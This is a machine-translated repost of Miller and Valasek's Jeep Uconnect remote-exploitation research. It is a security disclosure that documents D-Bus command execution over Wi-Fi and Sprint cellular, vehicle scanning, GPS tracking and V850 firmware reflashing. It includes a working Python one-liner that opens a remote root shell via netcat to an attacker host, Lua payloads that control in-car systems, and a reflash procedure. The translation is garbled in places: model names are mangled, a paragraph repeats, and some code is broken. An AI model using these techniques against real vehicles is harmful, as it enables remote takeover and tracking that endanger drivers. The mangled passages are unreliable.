Tang Dynasty Laboratory · 2015/11/27 16:27

Author: Dr. Charlie Miller ([email protected]) Chris Valasek ([email protected])

Tang Dynasty Laboratory translation Group: Zhu Yutao, Liu Jiazhi

0x01 Using the D-Bus Service


The D-bus system can be accessed anonymously and is often used for cross-process communication. We thought the D-Bus system should never have been exposed, so we were a little surprised that it was possible to run code using D-Bus.

Get code execution

You have found that the D-bus service is exposed on port 6667, which is running on the Uconnect system. Therefore, we believe that the best way to execute code is through non-authentication. From the beginning, we were skeptical of the service because it was designed to handle communications. We speculate that this communication must be trusted to some extent and not designed to process remote data. On the network, exposing a powerful and comprehensive service like D-Bus creates several security issues, whether it’s feature abuse, code injection, or even memory crashes.

In the d-Bus service section above, we found several D-Bus services and methods to invoke each of them, but one very important service that was not mentioned was’ NavTrailService ‘. ‘NavTrailService’ code is here ‘/ service/platform/nav/NavTrailService lua’ implementation. Since memory crashes are very difficult to implement and this is a LUA script, our first thought was to look for command injection vulnerabilities. We found the following method that operates on a user-named file.

function methods.rmTrack(params, context)
  return {
    result = os.execute("rm \"" .. trail_path_saved .. params.filename .. "\"")
  }
end
Copy the code

The ‘rmTrack’ method contains a command injection vulnerability that allows an attacker to run arbitrary shell commands by specifying a file that contains shell metacharacters if the attacker can call the D-bus method (there are other similar methods, of course). We were right to be skeptical because command injection is a very typical approach when dealing with user input from trusted sources.

However, command execution here is not necessary because the NavTrailService actually provides an “execute” method designed to execute arbitrary shell commands! Hey, it’s a feature, not a bug! Listed below are all the services available for ‘NavTrailService’, the two services shown in bold are the ones we discussed. (“execute”, “rmTrack”)

"com.harman.service.NavTrailService":  
{"name":"com.harman.service.NavTrailService",  
"methods":{"symlinkattributes":"symlinkattributes",  
"getProperties":"getPr operties","execute":"execute",
"unlock":"unlock","navExport":"navExport","ls": "ls",  
"attributes":"attributes","lock":"lock","mvTrack":"mvTrack",  
"getTracksFo lder":"getTracksFolder","chdir":"chdir",  
"rmdir":"rmdir","getAllProperties":"g etAllProperties",  
"touch":"touch","rm":"rm","dir":"dir","writeFiles":"writeFil es",  
"setmode":"setmode","mkUserTracksFolder":"mkUserTracksFolder",  
"navGetImpo rtable":"navGetImportable",  
"navGetUniqueFilename":"navGetUniqueFilename","mkd ir":"mkdir",  
"ls_userTracks":"ls_userTracks","currentdir":"currentdir","rmTrac  
k":"rmTrack","cp":"cp","setProperties":"setProperties",  
"verifyJSON":"verifyJS ON"}},
Copy the code

You can guess that it is not difficult to execute code using root permissions on header units, especially if the default installation is a common communication tool such as Netcat (NC). We wish this bug could be better. Although it’s not too difficult to execute code on the header unit. The following four lines of Python code can open a remote root shell on an untampered header unit, which means an attacker doesn’t need to hijack the header unit to break into the system.

#! Python import dbus bus_obj = dbus. Bus. BusConnection (TCP: host = 192.168.5.1, port = "6667") proxy_object=bus_obj.get_object('com.harman.service.NavTrailService','/com/ha rman/service/NavTrailService') playerengine_iface=dbus.Interface(proxy_object,dbus_interface='com.harman.Ser viceIpc') print Playerengine_iface. Invoke (' execute ', '{" CMD ":" netcat - l - 6666 | p/bin/sh | netcat 192.168.5.109 6666 "}')Copy the code

0x02 Uconnect Attack Payloads

At this point, we can run arbitrary code on the header unit, especially on the OMAP chip in the Uconect system. In this section, we looked at several LUA scripts that can affect car interiors and radio functions, such as turning up the volume or blocking the response (volume) of a control switch. This script will show you what you can do with your car once you have access to the remote shell and Uconnect systems. Next, we show how parallel infection CAN be achieved by remotely accessing the D-Bus system and sending arbitrary CAN messages to affect systems on the car other than the head unit.

GPS

The head unit queries and retrieves GPS coordinates on the vehicle, either via a Sierra Wireless modem or wi-fi. These values can also be obtained through the unauthenticated D-bus communication on port 6667, resulting in the ability to track the location of any vehicle. In other words, the script below can be run on the header unit, but only by querying the exposed D-bus service to get the coordinate value.

service = require("service")
gps = "com.harman.service.NDR"
gpsMethod = "JSON_GetProperties"
gpsParams = {
   inprop = {
   "SEN_GPSInfo"
   }
}
response = service.invoke(gps, gpsMethod, gpsParams) print(response.outprop.SEN_GPSInfo.latitude, response.outprop.SEN_GPSInfo.longitude)
Copy the code

For example, if you execute ‘lua getgps.lua’ on the header unit, it returns the following result:

lua getGPS.lua

40910512-73184840.

You can then tweak it by typing 40.910512, -73.184840 into Google Maps to determine its location. In this case, a location on Long Island.

HVAC

The head unit controls the car’s heating and air conditioning. The following code sets the fan to an arbitrary speed.

The radio volume

One of the main functions of the Uconnect system is to control broadcasting. An attacker can easily set the broadcast volume to any value. For example, if an attacker knows that Ace of Base is playing, they can adjust the volume to an appropriate level (that is, the most appropriate volume).

require "service"
params = {}
params.volume = tonumber(arg[1]) 
x=service.invoke("com.harman.service.AudioSettings", "setVolume", params)
Copy the code

bass

Sometimes, like when you’re listening to 2 Live Crew, turning up the bass is the only option. Attackers who prefer heavy bass can use the script below to adjust the level accordingly.

require "service"
params = {}
params.bass = tonumber(arg[1]) x=service.invoke("com.harman.service.AudioSettings", "setEqualizer", params
Copy the code

Radio Station (FM)

On the road, one of the most important tasks is to choose a suitable FM station. You can also change stations by programming LUA scripts.

require "service"
Tuner = "com.harman.service.Tuner"
service.invoke(Tuner, "setFrequency", {frequency = 94700})
Copy the code

display

There are many, many ways to modify the display state of Uconnect, such as turning off the display entirely or displaying the rear camera. The following code examples can change the screen display:

require "service"
x=service.invoke("com.harman.service.LayerManager", "viewBlackScreen", {}) 
x=service.invoke("com.harman.service.LayerManager", "stopBlackScreen", {}) 
x=service.invoke("com.harman.service.LayerManager", "viewCameraInput", {}) 
x=service.invoke("com.harman.service.LayerManager", "stopViewInput", {}) 
x=service.invoke("com.harman.service.LayerManager", "showSplash", {timeout = 2})
Copy the code

Display images

You can also change the display on the header unit to show the image you selected. The size and format (PNG) of this image must be correct. The photo must then be placed somewhere on the file system. Finally, you can tell the header unit to display the photo.

mount -uw /fs/mmc0/
cp pic.png /fs/mmc0/app/share/splash/Jeep.png pidin arg | grep splash
kill <PID>
splash -c /etc/splash.conf &
Copy the code

Once the image is in place, you can call the ‘showSplash’ method above.

Picture – Two young men

A knob

One of the more interesting discoveries was the ability to disable radio knob controls, such as volume and tuner controls, after killing a service. By killing the main D-bus service, you can render all radio controls unresponsive. This attack becomes especially annoying if you perform several other actions, such as turning the bass and volume up.

kill this process: lua -s -b -d /usr/bin service.lua
Copy the code

0x03 Cellular utilization


So far, we’ve seen how to run code on the header unit, provided you can use a USB device (hijacking) to connect to the car or access the wi-fi inside the car (taking advantage of the D-bus bug/feature). The biggest problem is that these methods of intrusion either require access to the car or the attacker to join the car’s Wi-Fi hotspot.

It’s exciting to be able to plug into a wi-fi hotspot in the car and exploit it, because it means we’ve remotely hacked into an original car, but that’s a lot of preconditions and limitations for us. First, let’s assume that most customers won’t buy in-car Wi-Fi because it costs $34.99 a month. The second problem is the addition of Wi-Fi, though not much, given the way passwords are generated. Finally, and most importantly, the wi-fi range is too short for a car invasion, at about 32 meters. While this range is large enough for an attacker to drive up to the target vehicle to hack into its head unit and send commands, it is not ultimately what we want. We will continue to investigate whether the vulnerability can be exploited from a greater distance to target vehicles.

Network Settings

Looking at the network configuration of the Uconnect system, we can find several interfaces for communication. There is a UAP0 interface for internal Wi-Fi communication and another PPP interface, PPP0, which we suspect is used for communication with the outside world via Sprint’s 3G service.

# ifconfig lo0: flags = 8049 < UP, LOOPBACK, RUNNING, MULTICAST > mtu 33192 inet 127.0.0.1 netmask 0 xff000000 pflog0: flags=100<PROMISC> mtu 33192 uap0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500 address: 30:14:4a:ee:a6:f8 Media: <unknown type> Autoselect inet 192.168.5.1 netmask 0xffffff00 Broadcast 192.168.5.255 ppP0: Flags = 8051 < UP, POINTOPOINT, RUNNING, MULTICAST > mtu 1472 inet 21.28.103.144 - > 68.28.89.85 netmask 0 xff000000Copy the code

The Uconnect system assigns the address 192.168.5.1 to hosts connected to wi-fi access points. If the user connects to the Uconnect system, they will see the IP address of 68.28.89.85. However, port 6667 is not open at this address. When accessing the network, 21.28.103.144 is the actual interface address of Uconnect, but it is only open to the internal Sprint network.

After experimenting, we found that the IP address of the PPP interface changed every time the car was restarted, but the address space was always filled with two class A address blocks: 21.0.0.0/8 or 25.0.0.0/8, which were supposed to be reserved by Sprint for the car’s IP address. There may be more address blocks reserved for cars, but we’re pretty sure that all vehicles running Uconnect have both address Spaces.

We also want to check that the D-bus service is indeed bound to the same port (6667) on the cellular interface, allowing D-bus interaction over IP. Here is netSAT output on an active header unit:

# netstat Active Internet connections Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 144-103-28-21.po.65531 SYN_SENT TCP 0 27 144-103-28-21.po.65532 68.28.12.24.8443 LAST_ACK TCP 0 0 *.6010 *.* *.* LISTEN tcp 0 0 *.2011 *.* LISTEN tcp 0 0 *.6020 *.* *.* LISTEN tcp 0 0 *.2021 *.* LISTEN tcp 0 0 Localhost.3128 *.* LISTEN tcp 0 0 *.51500 *.* LISTEN tcp 0 0 *.65200 *.* LISTEN ESTABLISHED tcp 0 0 localhost.65533 *.* LISTEN ESTABLISHED tcp 0 0 *.4400 *.* LISTEN tcp 0 0 *.irc *.* LISTEN udp 0 0 *.* *.* udp 0 0 *.* *.* udp 0 0 *.* *.* udp 0 0 *.* *.* udp 0 0 *.bootp *.*Copy the code

As you can see from the output above, port 6667 associated with IRC is bound to all interfaces. So, we can use the cellular network to execute d-bus communications, and we can attack the Jeep. Our first thought was to get a Femtocell device and force the Jeep into our network so that it could communicate directly with the vehicle from a much longer distance through the cell.

Femtocell

A femtocell device is basically a mini cell tower designed to help consumers improve reception at their residential location. In addition to acting as a cell tower, the device could also be used to intercept cellular traffic, modified to suit an attacker’s wishes.

We also purchased several older Sprint Airave base stations from Ebay, two of which were broken and one “brand new” device was allegedly stolen (thanks Ebay!). . We chose Airave 2.0 base station because we knew there was a vulnerability on the device that could be exploited to open Telnet and HTTPS on the device.

Figure – Sprint Airave 2.0

After running the vulnerability, our Airave device can be accessed remotely via Telnet, essentially giving us a Busybox shell on the device. We estimate that basically that’s enough for us to communicate with this Gipeno over a cellular network.

To our delight, we were able to ping the Jeep over the cellular network and communicate with D-Bus. That means we can scale up the attack and exploit the same vulnerability that exists in remote command execution over Wi-Fi, without any modifications to the original vehicle (not just the wi-Fi-enabled vehicle).

It’s a huge victory, but we realize that the scope of the attack is very limited, and we want to expand the scope, and we can.

Cellular access

The reason we chose a femtocell device was because we thought a normal Sprint tower would intercept the communication between the two devices. By using our own cell tower (femtocell), we were able to ensure communication with the Uconnect system on the Gippeno. In practice, however, Sprint does not intercept this kind of traffic between devices on their network. We first demonstrated that a Sprint device (in our case, a burner phone) could communicate with another Sprint device, in a cell tower, directly to our Jeep. That would extend the range of an attack to a cell tower.

What’s even more striking is that connectivity isn’t limited to a single cell tower. Any Sprint device in the country can communicate with Sprint devices in other locations from anywhere. Here, for example, is a session initiated by Chris in Pittsburgh, proving that he can access the Jeep’s D-bus port in St. Louis.

Trying 21.28.103.144 6667 Trying 21.28.103.144... Connected to 21.28.103.144. Escape character is '^]'. A ERROR "Unknown command"Copy the code

Note: The connected host must be on the Sprint network (for example, a laptop connected to a Sprint phone or a Laptop connected to a Uconnect Wi-Fi hotspot) and cannot be a generic host on the Internet.

0x04 Scan for vehicles with vulnerabilities


To find the vehicle with the bug, you simply scan for port 6667 on the Sprint device at IP addresses 21.0.0.0/8 and 25.0.0.0/8. Any device that responds is a vulnerable Uconect system (or an IRC server). To determine this, try Telnet into the device and look for the error string “Unknown Command.”

Figure – Scan Settings

If you want, you can then interact with the D-bus service to perform any of the above operations. Don’t do this unless you have permission from the owner.

Scan results

To understand how many vehicles were affected by the vulnerability, and which models had the vulnerability, we performed some network scans.

Here are some of the possible vulnerabilities we found in our scans:

2013 Dodge Viper 2013 RAM 1500 2013 RAM 2500 2013 RAM 3500 2013 RAM CHASSIS 5500 2014 Dodge Durango 2014 Dodge Viper 2014 Jeep Cherno 2014 Jeep Grand Cherno 2014 RAM 1500 2014 RAM 2500 2014 RAM 3500 2014 RAM CHASSIS 5500 2015 Chrysler 200 2015 Jeep Chino 2015 Jeep Grand ChinoCopy the code

Note: we didn’t actually use the vulnerability to attack these vehicles, so we can’t be 100% sure that these vehicles are vulnerable, but these vehicles do have a service that listens to D-Bus and we can interact with the D-bus service remotely without authentication.

Estimate the number of vehicles with vulnerabilities

In one scanning session, we found 2,695 vehicles. At that time, we determined that 21 of them were duplicates based on VIN numbers.

We estimate the number of vehicles with vulnerabilities by using the formula based on the marker replenishment method. The idea is that if you scan all the vehicles that contain the vulnerability, you’re going to see a lot of duplicates, and if you scan only a small number, you’re not going to see a lot of duplicates. So, we don’t see a lot of duplication. Note that our setup is not exactly what the mathematical model would guess, but it is close. In any case, Fiat Chrysler knows the real numbers.

We use a Bayesian algorithm to estimate the number:

SQRT ((2694 *2694 *2675 *2675)/(19 *19 *18)) = 381,980 +/- 89,393Copy the code

We estimate that between 292,000 and 471,000 vehicles have vulnerabilities. However, we looked at some models built in 2013 and 2014, and Chrysler says its 2014 sales were around 1,017,019, which means the true number is much higher than our estimate.

Note: The study resulted in recalls affecting 1.4 million vehicles. Looks like we’re underestimating.

Car worms

Because one car can scan for other vehicles with vulnerabilities, and exploiting the vulnerability does not require any user interaction, it is possible to write a worm. The worm should be able to scan vulnerable vehicles and use its payload to scan other vulnerable vehicles and exploit the vulnerability. It’s funny and scary. Please don’t do this.

0x05 V850


As we discussed earlier, the Uconnect system CAN communicate with two different CAN buses. CAN communication is by Renesas V850ES/FJ3 chip communication, refer to the CAN connectivity section. However, the OMAP chip, on which we executed the code after the vulnerability took advantage of D-bus, cannot send CAN messages. However, the OMAP chip CAN communicate with the V850 chip, which CAN send CAN messages.

When investigating the head unit, we referred to the V850 and CAN communication as “IOS”. Interestingly, the head unit (OMAP chip) can update the IOC (V850 chip), usually via a USB stick. Next, we’ll discuss how IOC is updated and see if we CAN use this mechanism to brush in tampered firmware on IOC, allowing us to send CAN messages after hacking OMAP chips.

As we discussed earlier, the Uconnect system CAN communicate with two different CAN buses. CAN communication is by Renesas V850ES/FJ3 chip communication, refer to the CAN connectivity section. However, the OMAP chip, on which we executed the code after the vulnerability took advantage of D-bus, cannot send CAN messages. However, the OMAP chip CAN communicate with the V850 chip, which CAN send CAN messages.

When investigating the head unit, we referred to the V850 and CAN communication as “IOS”. Interestingly, the head unit (OMAP chip) can update the IOC (V850 chip), usually via a USB stick. Next, we’ll discuss how IOC is updated and see if we CAN use this mechanism to brush in tampered firmware on IOC, allowing us to send CAN messages after hacking OMAP chips.

model

At any time, IOC can be updated in the following three modes. The first is application mode, which is what users consider “normal” mode because it has booters, complete firmware, and running application code. The second mode is the bootloader mode, designed to update the application firmware on IOC. Finally, there is the bootloader update mode, in which the IOC goes into a state where it can update the bootloader, which is responsible for loading the firmware into memory and putting the IOC into the application.

Update V850

Looking back at the ‘manifest.lua’ in the ISO update, we see that there is a file here that is used to update the IOC application firmware – ‘cmcioc.bin’. As you will see later, this binary file is indeed a complete V850 firmware, and by reverse engineering, we found more interesting points.

ioc= 44 {
name                   = "ioc installer.",
installer              = "ioc",
data                   = "cmcioc.bin",
}
Copy the code

By digging deeper into ‘manifest.lua’, you’ll find several more files related to IOC updates or corresponding startup program updates.

 local units =
{ ...
     ioc_bootloader =
     {
         name                      = "IOC-BOOTLOADER",
         iocmode                   = "no_check",
         installer                 = "ioc_bootloader",
         dev_ipc_script            = "usr/share/scripts/dev-ipc.sh",
         bootloaderUpdater         = "usr/share/V850/cmciocblu.bin",
         bootloader                = "usr/share/V850/cmciocbl.bin",
         manifest_file             = "usr/share/V850/manifest.xml"
     },
     ioc =
     {
         name                      = "IOC",
         installer                 = "ioc",
         dev_ipc_script            = "usr/share/scripts/dev-ipc.sh",
         data                      = "usr/share/V850/cmcioc.bin"
      },
Copy the code

The actual number of files used for IOC updates or startup program updates is not very large. We are most interested in the application code, because it gives us the best opportunity to find the code for sending and receiving CAN messages, as shown in bold below (cmcioc.bin).

$ ls -l usr/share/V850/ total 1924 -r-xr-xr-x 1 charlesm staff 458752 Jan 30 2014 cmcioc.bin -r-xr-xr-x 1 charlesm staff  65536 Jan 30 2014 cmciocbl.bin -r-xr-xr-x 1 charlesm staff 458752 Jan 30 2014 cmciocblu.bin -r-xr-xr-x 1 charlesm staff  604 Jan 30 2014 manifest.xmlCopy the code

Note: We know which file to reverse and need to find a way to brush the modified firmware onto the V850 chip, so we CAN move code execution in parallel to physically control the header unit via the CAN bus. We were lucky to have a binary on the system that was designed to do what we wanted.

IOC application code can be pushed into the V850 firmware on the Uconnect system through an ‘iocUpdate’ executable called ‘IOC.lua’.

iocupdate -c 4 -p usr/share/V850/cmcioc.bin
Copy the code

The help documentation for ‘iocupdate’ confirms our initial analysis, and according to its instructions, this file is indeed used to send binaries to IOC from the beginning unit

%C: a utility to send a binary file from the host processor to the IOC [options] <binary file name> Options: -c <n> Channel number of IPC to send file over (default is /dev/ipc/ch4) -p Show progress -r Reset when done -s Simulate  update Examples: /bin/someFile.bin (will default to using /dev/ipc/ch4) -c7 -r /bin/someFile.bin (will reset when done) -sp (simulate update with progress notification)Copy the code

After we figured out how to program the V850 packets, we needed to reverse engineer and modify the IOC application firmware to add code to receive and forward commands to the CAN bus. The most important part is the reverse IOC application firmware, because we would then expose the necessary code to send and receive CAN messages from the bus. Fortunately, we found that IOC could reload the firmware without using encrypted signatures to verify that the firmware was valid.

Reverse the IOC


The main purpose of this study was not just to prove that a car’s communications system could be hacked (because we already knew that), but to show that after a successful remote invasion, the attack methods demonstrated in our previous research could be executed in the same way.

As we’ve mentioned several times, the Uconnect system uses the Renesas V850/Fx3 chipset to communicate with the in-car network. We realized that if we wanted to send and receive CAN messages from the vehicle, we would probably need to reverse this firmware to figure out exactly how to call can-related functions.

Not surprisingly, we will use IDA Pro as our reverse engineering platform. We were lucky enough to have a processor module already written to meet our architectural requirements, NEC V850E1/ES [V850E1]

Figure -V850 processor type

Once the firmware is loaded into IDA Pro, you’ll see the first instruction in the firmware that jumps to the setup code and initializes the required values for the functionality. It’s worth noting that simply jumping to the initialization code as the first instruction is not common in firmware images, and Uconnect images just happen to be friendly to us:

Figure – Jump code

Below you will see that some registers are set to specific values, the most interesting of which is “mov 0x3FFF10C, gp”, so that we know the value of the GP register. The GP register is used to set relative addresses (discussed later). Also, based on the value of position R5 on 0x77966, the starting address of the mirror is 0x10000.

Figure -V850 initialization code

We can then go back and reload the starting location of the image ROM at 0x10000. Setting these address values ensures that we can reverse all the necessary code and ensure that cross-references are properly exposed.

Figure – Mirror address

Just because we got readable V850 assembly code doesn’t mean the reverse part of the project is done. Instead, it took a few weeks to reverse the V850 firmware and get all the necessary functionality to modify the firmware image to receive arbitrary CAN messages over the wireless interface.

The first step is to normalize IDB by finding all the code, fixing the parts IDA Pro doesn’t understand, creating functions and ensuring that all function calls and cross-references are correct. This process is mostly automated by looking for specific opcodes in these locations and creating code. IDA Python makes this task easy:

Figure – Code functions found in Python

If your work doesn’t go wrong, you’ll see a sea of blue in the IDB ROM snippet, showing all the location-determined code and functions.

Figure – ROM part of IDA Pro

Now that IDB is standard, we can read tables and let the V850/Fx3 processor figure out the segments, addresses, registers, and other important information to reverse the specific information we need.

Figuring out the V850’s address space and associated firmware was our first priority. Once you read the V850 documentation and understand the code, peripherals, and RAM on the different sections, this task becomes easy.

Figure – Overview of the V850

We can then create appropriate sections on our IDB that reflect the address space layout of the V850 processor to run our firmware. We know that the ROM segment starts at 0x10000 and goes up to 0x70000 and contains our executable code. Our processor has 32KB of RAM mapped to 0x3FF7000-3FFEFFf. Not surprisingly, variables are stored in this RAM region and shown in our IDB, and there are many cross-references in this RAM region. There is also a special function register (SFR) section. SFR is a memory-mapped register that serves many purposes.

Finally, and most interestingly, there is a 12KB programmable peripheral I/O area (PPA), which contains the CAN module, registers associated with the CAN module, and the corresponding information buffer. The base address of this region is specified by the peripheral region selection control register (BPC). Typically for microcontrollers, the base address of PPA is fixed at 0x3FEC000. The following image lists all the extents we found in the IDB.

Figure – Firmware section of Uconnect

Earlier we discussed how the V850 uses the relative address of GP to retrieve variables in RAM. You’ll find that code that uses the negative offset in GP turns out to be a virtual address. For example (below), move the value -0x2dac to GP, effectively subtracting 0x2DAC from 0x3FFF10C, so we get an address: 0x3FFC360.

Figure – GP-based address example

We wrote a script to walk through all the functions in IDB and create a cross-reference for some functions that use GP relative addresses.

def do_one_function(fun):
       for ea in FuncItems(fun):
             mnu = idc.GetMnem(ea)
             # handle mova, -XXX, gp, REG
             if idc.GetOpnd(ea,1) == 'gp' and idc.GetOpType(ea,0) == 5:
                        opnd0 = idc.GetOpnd(ea,0)
                        if "unk" in opnd0:
                                continue
                        if("(" not in opnd0):
                                data_ref = gp + int(idc.GetOpnd(ea,0), 0)
                                print "MOV: Add xref from %x -> %x" % (ea, data_ref)
                                idc.add_dref(ea, data_ref, 3)
in idc.GetOpnd(ea,1):
if "CB2CTL" in op2:
        continue
# handle st.h REG, -XXX[gp]
op2 = idc.GetOpnd(ea,1)
if 'st' in mnu and idc.GetOpType(ea,0) == 1 and 'gp' in op2 and "(" not
                    end = op2.find('[')
                    if end > 0:
                           offset = int(op2[:end], 0)
                           print "ST: Add xref from %x -> %x" % (ea, gp + offset)
                           idc.add_dref(ea, gp + offset, 2)
             # handle ld.b -XXX[gp], REG
             op1 = idc.GetOpnd(ea,0)
             if 'ld' in mnu and 'gp' in op1 and idc.GetOpType(ea,1) == 1 and "(" not
in         idc.GetOpnd(ea,0):
                        if "unk" in op1:
continue
                    end = op1.find('[')
                    if end > 0:
                           offset = int(op1[:end], 0)
                           print "LD: Add xref from %x -> %x" % (ea, gp + offset)
                           idc.add_dref(ea, gp + offset, 3)
Copy the code

This code and cross-referencing allows you to see where variables are referenced and trace them to find specific functionality.

External references to graph-RAM

Now that we’ve normalized the code and cross-referenced the variables in RAM, we need to populate the PPA section, because that’s where most of the CAN interaction takes place. We assume that all functions responsible for processing CAN, such as reading information from the bus and writing information to the queue, reference this memory address area. In Chapter 20, we introduce the functions and registers of each CAN module. The V850 CAN have up to four CAN modules to handle each packet, but, in our firmware, we only found two.

All registers and information buffers used by the CAN module are listed in Chapter 20.5. These registers and information buffers come from an offset of the PBA. If you remember what we said above, our microcontroller uses a PBA of 0x3FEC000. We CAN then iterate over all the registers and CAN buffers for each module and create names for them in the IDB so that we CAN look for cross-references and, in turn, find code that interacts with the CAN bus. Here is a part of the Python script we wrote to populate the PPA with the appropriate name. The full script is called ‘create_segs_and_regs.py’, and by looking at this script you can see how all these sections are created and how the padding is handled.

Figure – Create CAN values in PPA

Next, you can go to several locations in the IDB and check the layout and cross-references on those locations. For example, the figure below shows the second and third positions (01 and 02, respectively) of the CAN information buffer in CAN module 0.

Figure -CAN module 0 information buffer 2&3

The IDB now has cross-references to variables in RAM, a PPA part that fills the CAN control registers and information buffers, and a fully normalized ROM code part. At present, we expect to see external references to the CAN information buffer on the PPA part, but we are puzzled. Why don’t we see any references to the PPA in the code section?

Note: There is a lot we need to do to find the error, which requires us to list some data in code in the ROM section, but we will continue anyway.

Since we could not find any viable external reference to the associated CAN code, we decided to download the IAR Workbench, which is used by many automation engineers to compile code for the V850 processor. The IAR workbench provides code samples used by our processor, as well as code samples for sending and receiving CAN messages.

Figure – SAMPLE V850 CAN code in IAR

Then, we can completely reverse the ‘can_transmit_msg’ function. We should have known that the code does not access the PPA directly, but rather a variable in the ROM that points to the associated CAN section. It all makes sense once you get an array of CAN modules and access them based on indexes, as shown in the IAR example above. We now have reference points to functions that CAN interact with the CAN bus.

Figure -PPA CAN variable

In addition to the variables related to CAN communication in ROM, information buffers and control registers used by CAN are referenced in RAM. Basically, the data in a PPA is copied to RAM and vice versa, because these values can be overwritten in a short time. For example, we reverse the ‘can_read_from_ram’ and ‘can_write_to_ram’ functions, which put data from a PPA into RAM and data from RAM into a PPA, respectively.

Figure – can_read_from_ram

Figure – can_write_to_ram

There are several other very important areas in RAM where CAN ID, CAN data length, and CAN information data are stored. RAM stores Pointers to variables that are essential for sending CAN messages.

Figure – pointer to RAM

By tracking CAN registers, information buffers, and RAM values, we completely reverse several functions used to send and receive CAN messages. One of the most useful functions for us is the ‘can_transmit_MSg_1_or_3’ function, which extracts an index from the fixed CAN ID array, in our case a special index indicating that we are providing a user-provided CAN ID; There is also a pointer to the data length and CAN information data. By filling several locations in RAM with values, we CAN have the firmware send arbitrary CAN information, control ID, length, and data.

Figure – can_transmit_msg_1_or_3

For now, our biggest problem is that while we have the ability to make any CAN message, we don’t actually have a method to call the function. We could call functions by modifying the firmware, but we wanted to find a way to send CAN messages from the OMAP chip, using the V850 as a proxy. It seems that we are putting the cart before the horse, because direct calls to transport functions are limited, and no function can be called to the OMAP chip. Essentially, the Uconnect system does perform some CAN functionality, but we CAN’t call any functions directly by invading the header unit, so we need another way to get our information onto the bus.

We know that the V850/Fx3 also supports serial communication via SPI and I2C, but we have only seen SPI communication between the overhead unit and the V850 chip. So, we decided to look for code in the firmware that could perform SPI data parsing. SPI is a very simple serial communication protocol, so we decided to look for specific values observed on the line, as well as code similar to byte by byte data parsing.

Figure -SPI channel 7

In the example above, you can see that the value 0x22 is used to compare the value on 0x4A1E6, which matches the data we observed above SPI channel 7. Next, in the next chapter, we will use the SPI protocol and the modified IOC firmware to send arbitrary data to the V850 chip, populate variables and send arbitrary CAN information.

Note: In the interest of brevity, we have omitted a great deal of detail in this chapter. As always, please contact us at email with specific questions. It took us a few weeks to reverse the V850 firmware and SPI communication, which turned out to be the most time-consuming and labor-intensive part of the project.

No USB brush V850

IOC runs on a V850 chip and has direct access (read/write) to the CAN bus, so our goal is to modify IOC and find a way to communicate with IOC from the Uconnect system. As mentioned earlier, this firmware is unsigned and can be updated on the master unit. The most complicated part for an attacker is that the system can only be updated using a USB flash drive, and as a remote attacker, we can’t do that. We wanted to be able to swipe the V850 from the OMAP chip without using a USB device.

As we described in detail in the previous section, IOC updates are performed with the ‘iocupdate’ binary by communicating with SPI channel 4 using isO-14230 like commands. When in application mode, that is, when the header unit is “started”, the ‘iocUpdate’ binary does not process the V850. In normal mode, all SPI messages sent to the V850 are ignored. The FIRMWARE can be updated only after the IOC is in bootroM mode.

However, the only way to get the V850 into “BootroM” was to reset the V850 and then reset the OMAP chip (so that the attacker would lose control). When the OMAP processor boots into “update mode,” which is required for the IOC to enter “BootroM” mode, the OMAP processor attempts to update from the USB device. Such updates are typically hard-coded and cannot be changed.

Our main goal was to get the V850 into “update mode,” without a USB device, of course. Here, we can update the V850 by remotely placing an image on the file system. Obviously, we can’t rely on USB devices to launch remote attacks.

The first step is to run the code to restart the V850 into boot mode and put OMAP into update mode. Here is the LUA code to use:

onoff = require "onoff" 
onoff.setUpdateMode(true) 
onoff.setExpectedIOCBootMode("bolo") 
onoff.reset( "bolo")
Copy the code

The following code will restore V850 to application mode and OMAP to normal mode:

onoff = require "onoff" 
onoff.setExpectedIOCBootMode( "app") 
onoff.setUpdateMode(false) 
onoff.reset( "app")
Copy the code

The next step is to try to control the code running on the V850 in BootroM mode. And code for the OMAP processor to run in update mode, allowing us to bypass USB device checks. Remember that we were unable to communicate with OMAP (the remote interface could not be enabled) when it was processing the startup backup. We can run code in update mode by checking how the machine in update mode is started. The file ‘bootmode.sh’ is the first to be executed.

Unfortunately, we can’t modify ‘bootmode.sh’ because the file is in an unwritable directory, and here is part of the file.

#! bash #! /bin/sh # # Determine the boot mode from the third byte # of the "swdl" section of the FRAM. A "U" # indicates that we are in Update mode. Anything # else indicates otherwise. # inject -e -i /dev/mmap/swdl -f /tmp/bootmode -o 2 -s 1 BOOTMODE=`cat /tmp/bootmode` echo "Bootmode flag is $BOOTMODE" rm -f /tmp/bootmode if [ "$BOOTMODE" != "U" ]; then exit 0 fi echo "Software Update Mode Detected" waitfor /fs/mmc0/app/bin/hd 2 if [ -x /fs/mmc0/app/bin/hd ]; then echo "swdl contents" hd -v -n8 /fs/fram/swdl echo "system contents" hd -v -n16 /fs/fram/system else echo "hd util not detected on MMC0" fiCopy the code

fi

As you can see, if the OMAP chip is not in update mode, all the remaining files will not be executed. If the OMAP chip is in update mode, OMAP will proceed and execute the ‘HD’ program. The application is in the /fs/mmc0 partition and can be modified to be writable, so we changed this partition. Therefore, in order to get the OAMP chip into update mode and the V850 into boot mode to execute the code, we just need to replace ‘/fs/mmc0/app/bin/hd’ with the code we choose. Since both processors are in proper mode, whatever we put in ‘HD’ will be able to update the V850’s firmware.

Here is our modified ‘HD’ :

#! bash #! /bin/sh # update ioc /fs/mmc0/charlie/iocupdate -c 4 -p /fs/mmc0/charlie/cmcioc.bin # restart in app mode lua /fs/mmc0/charlie/reset_appmode.lua # sleep while we wait for the reset to happen /bin/sleep 60Copy the code

All that’s left to do is make the ‘/fs/mmc0’ partition writable, put the right files in the right place, and then restart to boot mode. All this cao’zu is done in the file ‘omap.sh’.

The update takes about 25 seconds in total, including the time it takes to start the backup in application mode. After starting backup in application mode, the new V850 firmware will run.

SPI communication

The OMAP chip will use a serial peripheral interface to implement a suitable protocol to communicate with the V850 chip. This communication includes refreshing the V850 chip, performing DTC operations and sending CAN messages. In fact, this communication is implemented at a high level through various services. At a low level, direct communication can be achieved by reading and writing ‘/dev/spi3’.

However, there seems to be no command for the OMAP chip to ask the V850 to send bytes of data to any CAN ID. However, the V850 has a set of command ids built in, and most of the hard-coded data can be sent by the OMAP chip. As an attacker, we want more than that.

SPI information protocol

We do not fully reverse the entire information protocol sent from the OMAP chip to the SPI chip, but we have listed some highlights here.

When the V850 is in update mode, the communication is similar to ISO 14230 commands. If you were careful in the reverse ‘iocupdate’ binary, you would have noticed this. Here are some examples of bytes sent:

startDiagnosticSession: 10 85
ecuReset: 11 01
